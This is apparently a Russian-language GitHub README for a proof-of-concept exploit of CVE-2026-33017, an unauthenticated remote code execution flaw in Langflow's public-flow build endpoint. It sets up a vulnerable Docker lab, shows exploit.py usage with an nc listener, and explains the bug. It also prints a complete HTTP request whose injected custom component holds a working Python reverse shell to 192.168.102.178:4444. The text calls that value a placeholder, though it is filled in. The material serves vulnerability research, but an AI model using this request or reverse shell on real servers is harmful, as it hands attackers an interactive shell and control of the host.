
Langflow RCE
★ CVE-2026-33017 Langflow — PoC удаленного выполнения кода ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Используйте следующие команды, чтобы собрать и запустить уязвимое окружение Langflow:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
После запуска уязвимого экземпляра Langflow запустите PoC, указав URL цели, идентификатор Public flow и адрес обратного вызова атакующего.
Вариант A — используйте собственный listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Вариант B — используйте встроенный listener с флагом --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Параметр | Описание |
|---|---|
--url | URL целевого сервера Langflow |
--flow-id | UUID общего Public flow |
--lhost | IP-адрес обратного вызова атакующего |
--lport | Порт обратного вызова атакующего |
--listen | Запустить встроенный listener вместо внешнего nc |
CVE-2026-33017 — это уязвимость удаленного выполнения кода (Remote Code Execution, RCE) в процессе сборки Public flow в Langflow — платформе с открытым исходным кодом для визуального построения LLM-приложений и AI-воркфлоу.
Отправляя специально сформированные данные flow на конечную точкуbuild_public_tmpбез аутентификации, атакующий может вызвать выполнение произвольного Python-кода на сервере.
CVE-2026-33017 затрагивает следующую конечную точку сборки Public flow в Langflow — платформе с открытым исходным кодом для визуального создания LLM-приложений и AI-воркфлоу.
POST /api/v1/build_public_tmp/{flow_id}/flow
Public flow в Langflow предназначен для предоставления другим пользователям через ссылку или аналогичный механизм.
Чтобы обеспечить эту функцию, конечная точка сборки подготавливает flow к выполнению без требования аутентификации: она считывает узлы (nodes), ребра (edges) и настройки flow, после чего строит внутренний граф выполнения, необходимый для его запуска.
Проблема заключалась в том, что уязвимые версии build_public_tmp принимали не только сохраненную на сервере информацию о Public flow, но и поле data, переданное в теле запроса.
Это поле data могло содержать полное определение flow, включая:
В результате атакующий мог с помощью неаутентифицированного запроса внедрить полностью контролируемую структуру flow вместо того, чтобы полагаться на легитимный Public flow, хранящийся на сервере.
Особенно опасной частью этой конструкции является функция Custom Component.
В Langflow компонент представляет собой отдельный функциональный блок, отвечающий за такие задачи, как обработка входных данных, вызов модели или генерация выходных данных. Пользовательский компонент — это расширяемый блок, который позволяет определять его поведение непосредственно в Python-коде.
Таким образом, атакующий мог встроить в сформированный объект data пользовательский компонент, содержащий вредоносный Python-код, и сервер обрабатывал бы его как обычную часть flow. В результате внедренный код мог быть разобран и выполнен в процессе сборки или выполнения, что в конечном итоге приводило к удаленному выполнению кода.
| Категория | Версия |
|---|---|
| Уязвимые | Langflow до 1.9.0 |
| Исправленные | Langflow 1.9.0 и новее |
В GitHub Security Advisory затронутый диапазон указан как
<= 1.8.2, однако исправление — удаление параметраdata— было включено в 1.9.0. Таким образом, затронуты все выпуски до 1.9.0 (включая 1.8.3 / 1.8.4), поэтому в записи CVE указано< 1.9.0.
Успешная эксплуатация этой уязвимости может позволить атакующему получить контроль над сервером Langflow и выполнить последующие действия, такие как:
Приведенный ниже PoC демонстрирует CVE-2026-33017 на Langflow 1.8.1.
Сначала атакующий определяет flow_id целевого Public flow.

Атакующий отправляет запрос build_public_tmp, который внедряет пользовательский компонент, чей Python-code выполняется на сервере во время временной сборки. В приведенном ниже запросе значение code оставлено в качестве заполнителя — вставьте полезную нагрузку самостоятельно (см. примечание под запросом).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Во время процесса сборки код, встроенный в пользовательский компонент, выполняется на сервере. При использовании варианта с reverse shell (автоматизированного в exploit.py) на listener атакующего устанавливается обратное соединение, что дает атакующему интерактивный shell для выполнения произвольных команд на сервере.

Хотя build_public_tmp предназначался для сборки Public flow, уязвимые версии по-прежнему принимали поле data непосредственно из тела запроса.
Из-за такой конструкции переданное атакующим data напрямую попадало в серверную логику сборки, а любой Python-код, встроенный в пользовательский компонент, обрабатывался так, как если бы он был частью легитимного flow.
В результате атакующему не нужно было полагаться на исходный Public flow, хранящийся на сервере. Вместо этого он мог внедрить полностью вредоносное определение flow, включая код, который мог быть выполнен на сервере.